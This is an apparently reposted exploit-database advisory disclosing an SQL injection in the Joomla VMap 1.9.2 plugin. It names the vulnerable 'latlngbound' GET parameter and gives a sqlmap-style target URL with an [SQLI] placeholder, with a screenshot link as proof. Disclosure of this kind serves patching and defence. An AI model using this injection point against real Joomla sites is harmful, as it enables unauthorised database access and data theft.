Joomla VMap 1.9.2 SQL Injection Vulnerability

################################################
#Title: Joomla! VMap 1.9.2 - SQL injection
#Credit: Bilal KARDADOU
#Vendor: https://www.wdmtech.com
#URL:
https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/vmap/
#Product: 'Joomla! VMap 1.9.2'
#Developer: WDMtech
#Extension type: Plugin
#Last updated: Apr 29 2017
#Compatibility: 3.X
#Type: Paid download
#Google Dork: N/A
################################################
#
#  Description:
#   VMap Component is a uniquely designed Joomla Extension that allows you
to put your listings on Google Map.
#
#
# --Method=GET -p [latlngbound]
#
#  -u "
http://127.0.0.1/index.php?option=com_vmap&task=loadmarker&latlngbound=40.535385698313576%2C40.899686902804504%2C-74.27737944140625%2C-73.67862455859375[SQLI]&mapid=7
"
#
#  PoC:
#  https://prnt.sc/hwfaya
#
# Bilal KARDADOU - https://www.linkedin.com/in/kardadou/)
################################################

#  0day.today [2018-04-14]  #